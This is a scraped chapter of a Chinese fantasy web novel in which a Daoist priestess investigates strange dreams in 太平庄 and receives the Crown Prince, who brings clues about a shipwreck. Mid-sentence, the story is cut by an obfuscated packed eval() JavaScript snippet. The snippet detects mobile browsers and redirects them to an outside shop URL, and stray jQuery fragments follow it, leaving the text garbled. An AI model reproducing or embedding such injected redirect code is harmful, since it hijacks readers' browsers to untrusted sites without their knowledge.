默认冷灰
24号文字
方正启体

12. 来访

作者:见秋声本书字数:K更新时间:
    “还有几家都说……”说到这,郭嫂子欲言又止。


    “说什么?”


    “说醒来真好像见着那画上神仙活过来了,半夜门板上隐隐约约有光,像是……像是鬼火似的。诶呦你瞧我这张嘴,说什么鬼火,仙家恕罪,呸呸呸!”她连啐几口,压低声音,“反正就是不对劲,总觉得有什么东西在暗处盯着你,你看又看不见,可那感觉……哎呀,瘆人得很!”


    吕幼清静静听着,却没接话,临近年关确实容易有东西不安分,倒是平常,倒了杯茶推过去:“年关了,阳气弱,有些东西不安分是常事。你说的这几家,回头我送几道符过去,贴在门楣上就好。”


    顿了顿,又道:


    “不是什么大事。符不是驱它们走,是让它们知道,这家里有人护着,别来扰。日子照常过,别自己吓自己。”


    郭嫂子听她如此说,那点子悬着的心顿时落回了肚子里。她端起茶来喝了一口,脸上又堆起笑:“嗐,叫仙姑见笑了,我们这些乡下人,就是经不住事。您这么一说,我就踏实了!”


    见郭嫂子神色稍缓,吕幼清这才笑着问道:“郭嫂子此来,可是有什么事?”


    太平庄离观中不算远,下了山走到河边便是。可郭嫂子提着满篮子东西特意跑一趟,总不会只为扯几句闲话。


    “哎呦瞒不过您的眼睛。”说着抬着篮子推到她面前,献宝般揭开:“仙姑看看可还入得了您的眼?我们乡下人也拿不出什么稀罕货,左不过是这些杂七杂八的。”


    “这不是我家那小子来年犯太岁嘛?想求仙姑赐个平安符,压一压。仙姑与我们最是亲近,您的本事我是晓得的,我们最是信得过您了!”


    说完,手又探到袖子内,摸索出一小包油纸包,里面透出油油的咸香:“您的规矩我们是清楚的,”她麻利地解开,露出亮汪汪一只炙鸭腿,往吕幼清面前一递,笑道:“知道您好这口,您尝尝鲜,看可还成?”


    吕幼清与村民打交道,素来立着一条规矩,便是以物易物。这道门槛,倒不看多值钱,只看于她是否有用。


    倒不是清高,也不是敛财。她心里清楚,一味予而不取,日子久了,要么被架在好人的位置上下不来,要么让受者总觉得欠着些什么,反增压力,一味施恩,终成负累。


    有来有往,两相心安。是自保,也是向善。


    此等小事,自不会被她这道门槛拒之门外。她没多说,接过鸭腿轻轻闻了闻,微微一笑:“好,我收下了。郭嫂子的手艺,错不了。”


    她没再多言,转身开了坛,符纸一燃,片刻便成了。


    郭嫂子双手接过平安符,美美揣进怀里,提着空篮心满意足下了山。


    随后几日,吕幼清都在观中打转。


    她去了一趟山下村子。找了几个做过怪梦的人问,都说不出个所以然。“就是梦见门神从画里走出来了,站在门口盯着我看,醒了浑身不得劲,过了两天就好了。”


    没问出什么,村中也无妖异作祟痕迹,为安人心给那几户人家贴了符便回来了。


    宋家那对母女,也撞见过几次,那夫人依旧是一幅亲厚和善的模样,女儿则依旧是一幅恬淡样子,不置一言,却总是远远盯着自己看,视线才一相接,便匆匆避开。其中缘由她也懒得多想。每次不过客气几句,便告辞离去。


    那日棚屋分别,谢明允只说继续探查,此后便再无音讯传来,也不见他遣人来寻。吕幼清自然乐得清净,她巴不得永远别有人想起她来。


    每日晨起,她照例往朝阳阁走一遭,盼着师父哪日突然回来,如同他那一日突然消失一般。


    可师父再没回来。


    她将阁中几乎翻了个遍,不见半分踪迹,只在那一卷经书里,夹着一张皱巴巴、似沾着水渍油痕的破纸。吕幼清横看竖看,看不出什么名堂,只得暂且收起。


    也问过蒋昭。师父离去前,亦半字未向他透露。姐弟俩面面相觑,既觉困惑,又隐隐悬心。那张破纸,蒋昭也瞧过,同样瞧不出什么。


    她还是日日去,找不见什么,便去对着空阁发半天呆。


    蒋昭来报:“师姐,库房的米面快见底了,得让人去采买。”


    “你去办。”


    “还有,东跨院的瓦片漏了两块,得找人来修。”


    “你去办。”蒋昭站着没走,一双眼沉沉看着她。这些原都是蒋昭的活,自是无需她分配,他来此没话找话,意图自不必多说。


    吕幼清叹了口气:“有话就说。”


    蒋昭挠挠头:“师姐,你这几天……是不是有心事?”


    吕幼清看着他。这个师弟,从小就这样,什么事都写在脸上,什么事都瞒不过他的眼睛。


    “没事。”她说,“就是师父不在,有点不习惯。”


    他从身后掏出一个食盒,打开,里面是碗热气腾腾的面汤:“郭嫂子送来的豆面,我让人做了面汤。”


    吕幼清看着少年担忧的神色,内心摇头轻叹,终是接过碗,接过碗喝了几口。热汤自舌根暖到四肢百骸,她紧皱多天的眉头,终于松了。


    蒋昭见状也松了一口气,随即在旁边坐下:“师姐,你说郭嫂子说的怪梦,是认真的?”


    “嗯。”


    “哇!”蒋昭眼睛亮起来,“我还没见过门神从画里走出来呢。”


    吕幼清瞥他一眼:“那是做梦,不是真的。”


    “做梦也行啊。”蒋昭托着下巴,“破梦之法,我还没学明白,自然入梦就更别提了。我长这么大,还没做过这么有意思的梦。我做的梦都是找东西、做早课、被师父骂……”


    “你被师父骂得还少?”


    蒋昭噎住,挠挠头:“师姐你这话说的……”


    吕幼清没理他,继续喝汤。


    蒋昭又凑过来:“师姐,你说那对母女,怎么老盯着你看?特别是那个小姑娘,每次看见你,眼睛都不带眨的。”


    吕幼清端着碗的手顿了顿。


    “你想多了。”


    “我没有!”蒋昭急了,“我亲眼看见的!那姑娘看你的时候,眼珠子都不转,跟看什么稀罕物件似的。”


    吕幼清把碗放下,看着他。


    “你很闲?”


    蒋昭立刻站起来:“不闲不闲!我这就去修瓦片!”


    说完一溜烟跑了。


    吕幼清看着他的背影,嘴角弯了弯。然后笑容淡下去,目光落在那碗面汤上。


    蒋昭的意思,她如何不懂?这小子看着憨,其实最是有颗玲珑心肠,二人看似长幼有序,她素来疏于俗务,吃睡皆随心,病痛更是不当回事,反而平日起居琐事上更多是他关照她。


    今日这般没正形地插科打诨,不过是想哄她开心。


    她转身又看了着空阁一眼,转身下了山。


    行至半路,远远便见一矮胖小人倒腾着短腿,往山上跑,见着她,眼睛一亮,停在原地举臂高呼:“师姐!吕师姐!”


    定睛一看,竟


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17341629|199362||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    是怀朴。


    她忙向前迎上:“怀朴何事慌张?”


    “请师姐速速随我下山,太子殿下已在庭中候着。”怀朴喘着气说道。


    “太子?”吕幼清闻言摸不着头脑,谢明允从未来过观中,查案一事也大可遣人递话,她想起那日自己的一番话,难免头大,这位殿下虽素有仁名,可也是个金尊玉贵的,不知肚量几何:“太子亲至?可有说是为何而来?”


    二人说话间,怀朴已喘匀了气,又端出那副老成的模样,一本正经地躬身道:“那位只说让师姐亲迎,旁的未曾言明。师姐,请随我来。”


    不再废话,吕幼清忙随他下了山,远远便见客堂院中,有一人负手立于树下。月白锦袍,长身而立,正是谢明允。


    随行之人皆被屏退,只余他一人立在院中。陈敬领着一应侍卫守在门口,不远不近,既不打扰,亦不松懈。


    听到她脚步声,谢明允转过身来,眉眼弯弯,不见那日颓唐之相。


    吕幼清忙行礼,刚弯下腰还未言语,便被他出声打断:“仙姑不用客气,我此来是查到了些线索,有些疑问还求仙姑解惑。”


    吕幼清直起身,也不多言:“殿下请讲。”


    “那日我回去审刘三,倒真问出些东西来。那些香如何入宫,确是有人从旁引路,我已命人顺着这条线往下查了。


    “至于那船主,我也寻到了。据他所言,那日本是风平浪静,行至半途,船身却无故颠簸起来,蹊跷得很,还落了些货,船也有些轻微损坏,倒不影响行船。待快到渡口,狂风才起,本该无事,偏是那点损坏,让船没能扛住,彻底翻了。


    “我听着总觉得哪里不对,便遣人去那颠簸处查探,岸边只余些破烂的包袱,没别的。”说完,便从袖中掏出几张皱巴巴纸片,递给吕幼清:“我隐觉不对,带了些回来,仙姑可看得出异样?”


    吕幼清抬手接过那东西,指尖触到的瞬间,心头便是一凛。这纸张的质地、纹路,甚至那股若有若无的陈旧气息,竟与师父留下的那张破纸一般无二。


    她垂着眼,不敢教对面的人看出端倪。此人素来不喜道人,若此时让他察觉师父失踪与这纸片有关,只怕平添误会。她只得压下满腹惊疑,低着头作细细端详状,半晌,才开口问道:“那颠簸之处,在什么地方?”


    吕幼清暗自运气探了探,既无妖异痕迹,也无破秽咒残留,唯独这纸张本身……与师父有着扯不断的关联。


    “在京畿太平庄旁,离此不远。”


    听得此话,吕幼清更是大惊,不由抬头,那郭嫂子几日前所言怪事,师父留下不知所指的线索,以及这香案线索,桩桩件件竟齐齐指向那太平庄。


    这太平庄,实在不太平。看来如今,是非去不可了。


    谢明允见她反应,疑惑道:“如何?可是有异?”


    吕幼清忙敛住神色,摇头道:“这纸张……看不出什么异样。若想有定论,怕还得往那处走一趟。”


    顿了顿,又补了一句,像随口一提:


    “说来也巧,这太平庄与观中有些农事往来,前几日才同村里人打过照面。所以突听殿下提起,不免诧异。”


    谢明允点了点头,没再追问,只是看着她。


    那目光落过来,不似先前几次试探时那般沉沉的压人,只是看着她,像是在等什么。


    吕幼清被他看得有些不自在,垂下眼,刚想说些什么,却听他忽然开口:


    “那日棚屋……”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)